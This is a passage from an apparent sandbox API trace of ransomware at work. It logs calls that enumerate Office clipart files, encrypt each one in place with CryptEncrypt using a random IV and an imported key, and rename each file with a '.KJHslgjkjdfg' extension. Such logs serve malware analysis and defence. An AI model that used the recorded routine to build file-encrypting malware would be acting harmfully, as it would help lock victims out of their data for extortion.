lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.924] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.924] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.925] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d4a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d4a, lpOverlapped=0x0) returned 1 [0198.926] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d50, dwBufLen=0x1d50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d50) returned 1 [0198.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.926] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d50, lpOverlapped=0x0) returned 1 [0198.926] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.926] SetEndOfFile (hFile=0x130) returned 1 [0198.928] GetProcessHeap () returned 0x990000 [0198.928] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.928] GetProcessHeap () returned 0x990000 [0198.928] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.kjhslgjkjdfg")) returned 1 [0198.930] CloseHandle (hObject=0x130) returned 1 [0198.930] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1 [0198.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.931] GetProcessHeap () returned 0x990000 [0198.931] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.931] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.931] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.933] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.933] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.933] GetProcessHeap () returned 0x990000 [0198.934] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.934] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.934] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.934] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.934] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.934] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.934] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.934] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.934] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.935] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.935] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.935] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.935] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa5c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa5c, lpOverlapped=0x0) returned 1 [0198.935] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa60, dwBufLen=0xa60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa60) returned 1 [0198.935] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.935] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa60, lpOverlapped=0x0) returned 1 [0198.935] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.935] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.935] SetEndOfFile (hFile=0x130) returned 1 [0198.938] GetProcessHeap () returned 0x990000 [0198.938] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.938] GetProcessHeap () returned 0x990000 [0198.938] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.938] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.kjhslgjkjdfg")) returned 1 [0198.940] CloseHandle (hObject=0x130) returned 1 [0198.940] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1 [0198.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.941] GetProcessHeap () returned 0x990000 [0198.941] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.941] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.941] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.941] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.941] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.941] GetProcessHeap () returned 0x990000 [0198.941] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.941] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.941] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.941] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.943] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.943] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.944] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.944] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.944] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.944] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.944] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf00, lpOverlapped=0x0) returned 1 [0198.944] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf00, dwBufLen=0xf00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf00) returned 1 [0198.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.944] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf00, lpOverlapped=0x0) returned 1 [0198.944] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.945] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.945] SetEndOfFile (hFile=0x130) returned 1 [0198.947] GetProcessHeap () returned 0x990000 [0198.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.948] GetProcessHeap () returned 0x990000 [0198.948] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.kjhslgjkjdfg")) returned 1 [0198.949] CloseHandle (hObject=0x130) returned 1 [0198.949] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1 [0198.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.951] GetProcessHeap () returned 0x990000 [0198.951] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.951] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.951] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.952] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0198.954] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.955] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.955] GetProcessHeap () returned 0x990000 [0198.955] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.955] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.955] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.955] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.955] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.955] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.955] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.955] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.956] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.956] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.956] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7cb6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7cb6, lpOverlapped=0x0) returned 1 [0198.957] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7cc0, dwBufLen=0x7cc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7cc0) returned 1 [0198.957] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.957] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7cc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7cc0, lpOverlapped=0x0) returned 1 [0198.958] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.958] SetEndOfFile (hFile=0x130) returned 1 [0198.961] GetProcessHeap () returned 0x990000 [0198.961] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.961] GetProcessHeap () returned 0x990000 [0198.961] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.kjhslgjkjdfg")) returned 1 [0198.964] CloseHandle (hObject=0x130) returned 1 [0198.964] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1 [0198.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.967] GetProcessHeap () returned 0x990000 [0198.967] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.967] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.967] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0198.969] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.969] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.969] GetProcessHeap () returned 0x990000 [0198.969] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.969] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.969] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.970] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.970] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.970] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.970] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.970] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.970] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.970] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.970] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.970] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.970] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaefa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xaefa, lpOverlapped=0x0) returned 1 [0198.972] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaf00, dwBufLen=0xaf00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaf00) returned 1 [0198.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.973] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xaf00, lpOverlapped=0x0) returned 1 [0198.973] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xafd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.973] SetEndOfFile (hFile=0x130) returned 1 [0198.976] GetProcessHeap () returned 0x990000 [0198.976] HeapFree (in: hHeap=0x990000, dwFlags=0x0, 